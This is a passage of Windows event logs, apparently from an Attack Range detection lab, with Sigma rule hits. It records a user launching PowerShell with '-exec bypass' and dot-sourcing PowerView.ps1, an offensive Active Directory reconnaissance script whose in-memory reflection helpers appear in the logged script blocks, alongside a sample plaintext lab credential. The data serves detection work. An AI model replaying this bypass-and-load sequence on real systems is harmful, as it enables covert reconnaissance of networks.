PSObject instead of a hashtable. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system. .EXAMPLE Get-IniContent C:\Windows\example.ini .EXAMPLE "C:\Windows\example.ini" | Get-IniContent -OutputObject Outputs the .ini details as a proper nested PSObject. .EXAMPLE "C:\Windows\example.ini" | Get-IniContent .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred .INPUTS String Accepts one or more .ini paths on the pipeline. .OUTPUTS Hashtable Ouputs a hashtable representing the parsed .ini file. .LINK https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([Hashtable])] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('FullName', 'Name')] [ValidateNotNullOrEmpty()] [String[]] $Path, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $OutputObject ) BEGIN { $MappedComputers = @{} 421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666669Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local141#requires -version 2 <# PowerSploit File: PowerView.ps1 Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None #> ######################################################## # # PSReflect code for Windows API access # Author: @mattifestation # https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 # ######################################################## function New-InMemoryModule { <# .SYNOPSIS Creates an in-memory assembly and module Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION When defining custom enums, structs, and unmanaged functions, it is necessary to associate to an assembly module. This helper function creates an in-memory module that can be passed to the 'enum', 'struct', and Add-Win32Type functions. .PARAMETER ModuleName Specifies the desired name for the in-memory assembly and module. If ModuleName is not provided, it will default to a GUID. .EXAMPLE $Module = New-InMemoryModule -ModuleName Win32 #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding()] Param ( [Parameter(Position = 0)] [ValidateNotNullOrEmpty()] [String] $ModuleName = [Guid]::NewGuid().ToString() ) $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) $LoadedAssemblies = $AppDomain.GetAssemblies() foreach ($Assembly in $LoadedAssemblies) { if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { return $Assembly } } $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) $Domain = $AppDomain $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) return $ModuleBuilder } # A helper function used to reduce typing while defining function # prototypes for Add-Win32Type. function func { Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $DllName, [Parameter(Position = 1, Mandatory = $True)] [string] $FunctionName, [Parameter(Position = 2, Mandatory = $True)] [Type] $ReturnType, [Parameter(Position = 3)] [Type[]] $ParameterTypes, [Parameter(Position = 4)] [Runtime.InteropServices.CallingConvention] $NativeCallingConvention, [Parameter(Position = 5)] [Runtime.InteropServices.CharSet] $Charset, [String] $EntryPoint, [Switch] $SetLastError ) $Properties = @{ DllName = $DllName FunctionName = $FunctionName ReturnType = $ReturnType } if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } if ($Charset) { $Properties['Charset'] = $Charset } if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } New-Object PSObject -Property $Properties } function Add-Win32Type { <# .SYNOPSIS Creates a .NET type for an unmanaged Win32 function. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: func .DESCRIPTION Add-Win32Type enables you to easily interact with unmanaged (i.e. Win32 unmanaged) functions in PowerShell. After providing Add-Win32Type with a function signature, a .NET type is created using reflection (i.e. csc.exe is never called like with Add-Type). The 'func' helper function can be used to reduce typing when defining multiple function definitions. .PARAMETER DllName The name of the DLL. .PARAMETER FunctionName The name of the target function. .PARAMETER EntryPoint The DLL export function name. This argument should be specified if the specified function name is different than the name of the exported function. .PARAMETER ReturnType The return type of the function. .PARAMETER ParameterTypes The function parameters. .PARAMETER NativeCallingConvention Specifies the native calling convention of the function. Defaults to stdcall. .PARAMETER Charset If you need to explicitly call an 'A' or 'W' Win32 function, you can specify the character set. .PARAMETER SetLastError Indicates whether the callee calls the SetLastError Win32 API function before returning from the attributed method. .PARAMETER Module The in-memory module that will host the functions. Use New-InMemoryModule to define an in-memory module. .PARAMETER Namespace An optional namespace to prepend to the type. Add-Win32Type defaults to a namespace consisting only of the name of the DLL. .EXAMPLE $Mod = New-InMemoryModule -ModuleName Win32 $FunctionDefinitions = @( (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) ) $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Kernel32 = $Types['kernel32'] $Ntdll = $Types['ntdll'] $Ntdll::RtlGetCurrentPeb() $ntdllbase = $Kernel32::GetModuleHandle('ntdll') $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') .NOTES Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 When defining multiple function prototypes, it is ideal to provide Add-Win32Type with an array of function signatures. That way, they are all incorporated into the same in-memory module. #> [OutputType([Hashtable])] Param( [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [String] $DllName, [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [String] $FunctionName, [Parameter(ValueFromPipelineByPropertyName=$True)] [String] $EntryPoint, [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [Type] $ReturnType, [Parameter(ValueFromPipelineByPropertyName=$True)] [Type[]] $ParameterTypes, [Parameter(ValueFromPipelineByPropertyName=$True)] [Runtime.InteropServices.CallingConvention] $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, [Parameter(ValueFromPipelineByPropertyName=$True)] [Runtime.InteropServices.CharSet] $Charset = [Runtime.InteropServices.CharSet]::Auto, [Parameter(ValueFromPipelineByPropertyName=$True)] [Switch] $SetLastError, [Parameter(Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, [ValidateNotNull()] [String] $Namespace = '' ) BEGIN { $TypeHash = @{} } PROCESS { if ($Module -is [Reflection.Assembly]) { if ($Namespace) { $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") } else { $TypeHash[$DllName] = $Module.GetType($DllName) } } else { # Define one type for each DLL if (!$TypeHash.ContainsKey($DllName)) { if ($Namespace) { $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') } else { $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') } } $Method = $TypeHash[$DllName].DefineMethod( $FunctionName, 'Public,Static,PinvokeImpl', $ReturnType, $ParameterTypes) # Make each ByRef parameter an Out parameter $i = 1 foreach($Parameter in $ParameterTypes) { if ($Parameter.IsByRef) { [void] $Method.DefineParameter($i, 'Out', $null) } $i++ } $DllImport = [Runtime.InteropServices.DllImportAttribute] $SetLastErrorField = $DllImport.GetField('SetLastError') $CallingConventionField = $DllImport.GetField('CallingConvention') $CharsetField = $DllImport.GetField('CharSet') $EntryPointField = $DllImport.GetField('EntryPoint') if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } # Equivalent to C# version of [DllImport(DllName)] $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField, $EntryPointField), [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset), $ExportedFuncName)) $Method.SetCustomAttribute($DllImportAttribute) } } END { if ($Module -is [Reflection.Assembly]) { return $TypeHash } $ReturnTypes = @{} foreach ($Key in $TypeHash.Keys) { $Type = $TypeHash[$Key].CreateType() $ReturnTypes[$Key] = $Type } return $ReturnTypes } } function psenum { <# .SYNOPSIS Creates an in-memory enumeration for use in your PowerShell session. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION The 'psenum' function facilitates the creation of enums entirely in memory using as close to a "C style" as PowerShell will allow. .PARAMETER Module The in-memory module that will host the enum. Use New-InMemoryModule to define an in-memory module. .PARAMETER FullName The fully-qualified name of the enum. .PARAMETER Type The type of each enum element. .PARAMETER EnumElements A hashtable of enum elements. .PARAMETER Bitfield Specifies that the enum should be treated as a bitfield. .EXAMPLE $Mod = New-InMemoryModule -ModuleName Win32 $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ UNKNOWN = 0 NATIVE = 1 # Image doesn't require a subsystem. WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. OS2_CUI = 5 # Image runs in the OS/2 character subsystem. POSIX_CUI = 7 # Image runs in the Posix character subsystem. NATIVE_WINDOWS = 8 # Image is a native Win9x driver. WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. EFI_APPLICATION = 10 EFI_BOOT_SERVICE_DRIVER = 11 EFI_RUNTIME_DRIVER = 12 EFI_ROM = 13 XBOX = 14 WINDOWS_BOOT_APPLICATION = 16 } .NOTES PowerShell purists may disagree with the naming of this function but again, this was developed in such a way so as to emulate a "C style" definition as closely as possible. Sorry, I'm not going to name it New-Enum. :P #> [OutputType([Type])] Param ( [Parameter(Position = 0, Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, [Parameter(Position = 1, Mandatory=$True)] [ValidateNotNullOrEmpty()] [String] $FullName, [Parameter(Position = 2, Mandatory=$True)] [Type] $Type, [Parameter(Position = 3, Mandatory=$True)] [ValidateNotNullOrEmpty()] [Hashtable] $EnumElements, [Switch] $Bitfield ) if ($Module -is [Reflection.Assembly]) { return ($Module.GetType($FullName)) } $EnumType = $Type -as [Type] $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) if ($Bitfield) { $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) } foreach ($Key in $EnumElements.Keys) { # Apply the specified enum type to each element $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) } $EnumBuilder.CreateType() } # A helper function used to reduce typing while defining struct # fields. function field { Param ( [Parameter(Position = 0, Mandatory=$True)] [UInt16] $Position, [Parameter(Position = 1, Mandatory=$True)] [Type] $Type, [Parameter(Position = 2)] [UInt16] $Offset, [Object[]] $MarshalAs ) @{ Position = $Position Type = $Type -as [Type] Offset = $Offset MarshalAs = $MarshalAs } } function struct { <# .SYNOPSIS Creates an in-memory struct for use in your PowerShell session. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: field .DESCRIPTION The 'struct' function facilitates the creation of structs entirely in memory using as close to a "C style" as PowerShell will allow. Struct fields are specified using a hashtable where each field of the struct is comprosed of the order in which it should be defined, its .NET type, and optionally, its offset and special marshaling attributes. One of the features of 'struct' is that after your struct is defined, it will come with a built-in GetSize method as well as an explicit converter so that you can easily cast an IntPtr to the struct without relying upon calling SizeOf and/or PtrToStructure in the Marshal class. .PARAMETER Module The in-memory module that will host the struct. Use New-InMemoryModule to define an in-memory module. .PARAMETER FullName The fully-qualified name of the struct. .PARAMETER StructFields A hashtable of fields. Use the 'field' helper function to ease defining each field. .PARAMETER PackingSize Specifies the memory alignment of fields. .PARAMETER ExplicitLayout Indicates that an explicit offset for each field will be specified. .EXAMPLE $Mod = New-InMemoryModule -ModuleName Win32 $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ DOS_SIGNATURE = 0x5A4D OS2_SIGNATURE = 0x454E OS2_SIGNATURE_LE = 0x454C VXD_SIGNATURE = 0x454C } $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ e_magic = field 0 $ImageDosSignature e_cblp = field 1 UInt16 e_cp = field 2 UInt16 e_crlc = field 3 UInt16 e_cparhdr = field 4 UInt16 e_minalloc = field 5 UInt16 e_maxalloc = field 6 UInt16 e_ss = field 7 UInt16 e_sp = field 8 UInt16 e_csum = field 9 UInt16 e_ip = field 10 UInt16 e_cs = field 11 UInt16 e_lfarlc = field 12 UInt16 e_ovno = field 13 UInt16 e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) e_oemid = field 15 UInt16 e_oeminfo = field 16 UInt16 e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) e_lfanew = field 18 Int32 } # Example of using an explicit layout in order to create a union. $TestUnion = struct $Mod TestUnion @{ field1 = field 0 UInt32 0 field2 = field 1 IntPtr 0 } -ExplicitLayout .NOTES PowerShell purists may disagree with the naming of this function but again, this was developed in such a way so as to emulate a "C style" definition as closely as possible. Sorry, I'm not going to name it New-Struct. :P #> [OutputType([Type])] Param ( [Parameter(Position = 1, Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, [Parameter(Position = 2, Mandatory=$True)] [ValidateNotNullOrEmpty()] [String] $FullName, [Parameter(Position = 3, Mandatory=$True)] [ValidateNotNullOrEmpty()] [Hashtable] $StructFields, [Reflection.Emit.PackingSize] $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, [Switch] $ExplicitLayout ) if ($Module -is [Reflection.Assembly]) { return ($Module.GetType($FullName)) } [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, Class, Public, Sealed, BeforeFieldInit' if ($ExplicitLayout) { $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout } else { $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout } $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) $Fields = New-Object Hashtable[]($StructFields.Count) # Sort each field according to the orders specified # Unfortunately, PSv2 doesn't have the luxury of the # hashtable [Ordered] accelerator. foreach ($Field in $StructFields.Keys) { $Index = $StructFields[$Field]['Position'] $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} } foreach ($Field in $Fields) { $FieldName = $Field['FieldName'] $FieldProp = $Field['Properties'] $Offset = $FieldProp['Offset'] $Type = $FieldProp['Type'] $MarshalAs = $FieldProp['MarshalAs'] $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') if ($MarshalAs) { $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) if ($MarshalAs[1]) { $Size = $MarshalAs[1] $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $UnmanagedType, $SizeConst, @($Size)) } 421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 410515102150x0666668Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localbf80524e-56b5-4a98-a9fc-ba70090ff2cc54264437-4f42-4df9-8829-9527f33cd4fe 4104152150x0666667Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11. .\PowerView.ps1bf80524e-56b5-4a98-a9fc-ba70090ff2cc 410615103150x0666666Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc5b415f6-f13a-41be-8eab-b68ae0423db354264437-4f42-4df9-8829-9527f33cd4fe 4688201331200x8020000000000000467160Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70x13c0C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe%%19360x440"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level 4688201331200x8020000000000000467159Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70xce0C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe%%19360x440"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level 154100x8000000000000000117313Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-04-21 14:51:27.909{F02F376E-A2EF-6442-8639-00000000D902}5056C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe9.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-166E-6440-E703-000000000000}0x3e70SystemMD5=B6A4D276E993FB7EE14DED01CBEBDA71,SHA256=CD4DF32D3564EA53C1EE782BB5F55A0C0E9CAC30BAE49D51B041829AA96CA5A4,IMPHASH=9374AAB4494C2195A38F44F0D36C8B58{00000000-0000-0000-0000-000000000000}1088--- 154100x8000000000000000117312Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-04-21 14:51:27.157{F02F376E-A2EF-6442-8539-00000000D902}3296C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-166E-6440-E703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}1088--- 410515102150x0666665Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc5b415f6-f13a-41be-8eab-b68ae0423db354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666664Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.locald1aca5b4-41ed-4ac9-9317-2d68c65480fc54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666663Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5c507ae4-b614-4480-875c-fe238637bb8d54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666662Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5c507ae4-b614-4480-875c-fe238637bb8d54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666661Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.locald1aca5b4-41ed-4ac9-9317-2d68c65480fc54264437-4f42-4df9-8829-9527f33cd4fe 4104152150x0666660Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11promptd1aca5b4-41ed-4ac9-9317-2d68c65480fc 410615103150x0666659Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local670f372b-c97a-450f-ad01-9ed9592a488554264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666658Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local670f372b-c97a-450f-ad01-9ed9592a488554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666657Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdddc6988-597c-4913-8fda-fa79273c026354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666656Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdddc6988-597c-4913-8fda-fa79273c026354264437-4f42-4df9-8829-9527f33cd4fe 4104152150x0666655Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11cd .\Downloads\dddc6988-597c-4913-8fda-fa79273c0263 410615103150x0666654Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc5b415f6-f13a-41be-8eab-b68ae0423db354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666653Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local104600ca-5430-48c8-b923-0c2df4fdadb454264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666652Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local104600ca-5430-48c8-b923-0c2df4fdadb454264437-4f42-4df9-8829-9527f33cd4fe 1400x8000000000000089107Applicationar-win-2.attackrange.local{"ApplicationId":"","CommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -exec bypass","Computer":"ar-win-2","Correlation_ActivityID":"{00000000-0000-0000-0000-000000000000}","CurrentDirectory":"C:\\Users\\reed_potts\\","DirectoryTableBase":"0x163800000","EventID":"1","Execution_ProcessID":"5528","Execution_ThreadID":"2548","ExitStatus":"259","Flags":"0","GrandparentCommandLine":"C:\\Windows\\Explorer.EXE","GrandparentImage":"C:\\Windows\\explorer.exe","GrandparentProcessId":"3484","ImageFileName":"powershell.exe","Keywords":"0x0","Level":"0","Match_Strings":"' -exec ' in CommandLine, bypass in CommandLine","Module":"Sigma","Opcode":"1","PackageFullName":"","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" ","ParentId":"0x1598","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentProcessId":"5528","ParentUser":"ATTACKRANGE\\reed_potts","ProcessId":"1344","Provider_Guid":"{3D6FA8D0-FE05-11D0-9DDA-00C04FD7BA7C}","Provider_Name":"SystemTraceProvider-Process","Rule_Author":"frack113","Rule_Description":"Detects use of executionpolicy option to set insecure policies","Rule_FalsePositives":"Administrator script","Rule_Id":"87e3c4e8-a6a8-4ad9-bb4f-46e7ff99a180","Rule_Level":"medium","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2479-gf86469295/rules/windows/process_creation/proc_creation_win_powershell_set_policies_to_unsecure_level.yml","Rule_Modified":"2022/09/10","Rule_Path":"public\\windows\\process_creation\\proc_creation_win_powershell_set_policies_to_unsecure_level.yml","Rule_References":"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1, https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1, https://adsecurity.org/?p=2604, https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/","Rule_Sigtype":"public","Rule_Title":"Change PowerShell Policies to an Insecure Level","SessionId":"2","Task":"0","TimeCreated_SystemTime":"2023-04-21T14:51:22.4541531Z","UniqueProcessKey":"0xFFFF800C4CD05800","User":"ATTACKRANGE\\reed_potts","UserSID":"\\\\ATTACKRANGE\\reed_potts","Version":"4","Winversion":"14393","level":"notice","msg":"Sigma match found","time":"2023-04-21T14:51:25Z"} 410615103150x0666651Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local3c2733c7-a3e5-452f-a2d8-f77a745cceba54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666650Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local3c2733c7-a3e5-452f-a2d8-f77a745cceba54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666649Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localb96b97ae-0d3a-434e-a82e-45c19e351fdf54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666648Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localb96b97ae-0d3a-434e-a82e-45c19e351fdf54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666647Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc5b415f6-f13a-41be-8eab-b68ae0423db354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666646Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localce483f3e-3af4-4afb-afe4-36ab6a08ce9354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666645Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5c507ae4-b614-4480-875c-fe238637bb8d54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666644Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5c507ae4-b614-4480-875c-fe238637bb8d54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666643Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localce483f3e-3af4-4afb-afe4-36ab6a08ce9354264437-4f42-4df9-8829-9527f33cd4fe 4104152150x0666642Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11promptce483f3e-3af4-4afb-afe4-36ab6a08ce93 4096214420x0666641Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local 410615103150x0666640Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local06a708be-6183-48fb-9da7-9d91f98a614654264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666639Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local06a708be-6183-48fb-9da7-9d91f98a614654264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666638Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local14200434-2275-41ef-b251-7e1f2d2c17c254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666637Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local14200434-2275-41ef-b251-7e1f2d2c17c254264437-4f42-4df9-8829-9527f33cd4fe 1300x8000000000000089106Applicationar-win-2.attackrange.local{"CommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -exec bypass","Company":"Microsoft Corporation","Computer":"ar-win-2","Correlation_ActivityID":"{00000000-0000-0000-0000-000000000000}","CurrentDirectory":"C:\\Users\\reed_potts\\","Description":"Windows PowerShell","EventID":"1","Execution_ProcessID":"1984","Execution_ThreadID":"2512","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","IntegrityLevel":"Medium","Keywords":"0x8000000000000000","Level":"4","LogonGuid":"{f02f376e-a250-6440-8a21-d10000000000}","LogonId":"0xD1218A","Match_Strings":"' -exec bypass' in CommandLine, \\powershell.exe in Image","Module":"Sigma","Opcode":"0","OriginalFileName":"PowerShell.EXE","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" ","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentProcessGuid":"{f02f376e-a2e3-6442-8139-00000000d902}","ParentProcessId":"5528","ParentUser":"ATTACKRANGE\\reed_potts","ProcessGuid":"{f02f376e-a2eb-6442-8439-00000000d902}","ProcessId":"1344","Product":"Microsoft\u0000\ufffd Windows\u0000\ufffd Operating System","Provider_Guid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Provider_Name":"Microsoft-Windows-Sysmon","RuleName":"-","Rule_Author":"Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix)","Rule_Description":"Detects suspicious PowerShell invocation with a parameter substring","Rule_FalsePositives":"Unknown","Rule_Id":"36210e0d-5b19-485d-a087-c096088885f0","Rule_Level":"high","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2479-gf86469295/rules/windows/process_creation/proc_creation_win_powershell_susp_parameter_variation.yml","Rule_Modified":"2022/07/14","Rule_Path":"public\\windows\\process_creation\\proc_creation_win_powershell_susp_parameter_variation.yml","Rule_References":"http://www.danielbohannon.com/blog-1/2017/3/12/powershell-execution-argument-obfuscation-how-it-can-make-detection-easier","Rule_Sigtype":"public","Rule_Title":"Suspicious PowerShell Parameter Substring","Security_UserID":"S-1-5-18","Task":"1","TerminalSessionId":"2","TimeCreated_SystemTime":"2023-04-21T14:51:22.4580578Z","User":"ATTACKRANGE\\reed_potts","UtcTime":"2023-04-21 14:51:23.848","Version":"5","Winversion":"14393","level":"warning","msg":"Sigma match found","time":"2023-04-21T14:51:24Z"} 1400x8000000000000089105Applicationar-win-2.attackrange.local{"CommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -exec bypass","Company":"Microsoft Corporation","Computer":"ar-win-2","Correlation_ActivityID":"{00000000-0000-0000-0000-000000000000}","CurrentDirectory":"C:\\Users\\reed_potts\\","Description":"Windows PowerShell","EventID":"1","Execution_ProcessID":"1984","Execution_ThreadID":"2512","FileVersion":"10.0.14393.206 